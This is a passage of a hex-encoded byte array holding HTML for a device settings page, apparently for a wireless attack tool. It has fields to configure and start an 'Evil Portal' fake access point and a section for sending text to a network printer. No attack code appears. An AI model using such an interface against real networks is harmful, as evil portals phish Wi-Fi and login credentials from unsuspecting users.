- 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, - 0x6F, 0x72, 0x64, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x22, 0x3E, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x61, - 0x70, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x22, 0x3E, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x41, 0x50, 0x20, 0x53, 0x53, 0x49, 0x44, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, - 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, - 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x53, 0x53, 0x49, 0x44, 0x20, 0x66, 0x6F, 0x72, 0x20, - 0x74, 0x68, 0x65, 0x20, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x50, 0x6F, 0x69, 0x6E, 0x74, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x2E, 0x3C, 0x2F, 0x73, 0x70, - 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, - 0x64, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x61, 0x70, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x45, 0x76, - 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x41, 0x50, 0x20, 0x53, 0x53, 0x49, 0x44, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, - 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x64, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x22, 0x3E, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, - 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, - 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, - 0x74, 0x68, 0x65, 0x20, 0x64, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x2E, 0x3C, 0x2F, 0x73, 0x70, - 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, - 0x64, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x64, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x44, 0x6F, 0x6D, - 0x61, 0x69, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x3D, 0x22, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x76, 0x69, - 0x6C, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x28, 0x29, 0x22, 0x3E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, - 0x21, 0x2D, 0x2D, 0x20, 0x50, 0x6F, 0x77, 0x65, 0x72, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x69, 0x64, 0x3D, - 0x22, 0x70, 0x6F, 0x77, 0x65, 0x72, 0x2D, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, 0x32, 0x3E, 0x50, 0x6F, 0x77, 0x65, 0x72, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, - 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, - 0x3D, 0x22, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x69, 0x70, 0x22, 0x3E, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x49, 0x50, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, - 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x49, 0x50, 0x20, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x6F, - 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, - 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x69, 0x70, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, - 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x49, 0x50, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, - 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x54, - 0x65, 0x78, 0x74, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, - 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x45, 0x6E, 0x74, - 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x20, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2E, 0x3C, 0x2F, 0x73, 0x70, - 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x74, 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, 0x61, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, - 0x72, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x54, 0x65, 0x78, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, - 0x22, 0x3E, 0x3C, 0x2F, 0x74, 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, 0x61, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, - 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, - 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, - 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x22, 0x3E, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x46, 0x6F, 0x6E, 0x74, 0x20, 0x53, 0x69, - 0x7A, 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, - 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x53, 0x65, 0x74, 0x20, - 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x64, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x28, 0x31, 0x30, 0x20, 0x2D, - 0x20, 0x37, 0x32, 0x29, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, - 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, - 0x3D, 0x22, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x22, 0x20, 0x6D, 0x69, 0x6E, 0x3D, 0x22, 0x31, 0x30, - 0x22, 0x20, 0x6D, 0x61, 0x78, 0x3D, 0x22, 0x37, 0x32, 0x22, 0x20, 0x73, 0x74, 0x65, 0x70, 0x3D, 0x22, 0x31, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x31, 0x30, 0x20, 0x2D, 0x20, 0x37, 0x32, - 0x22, 0x20, 0x72, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x64, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 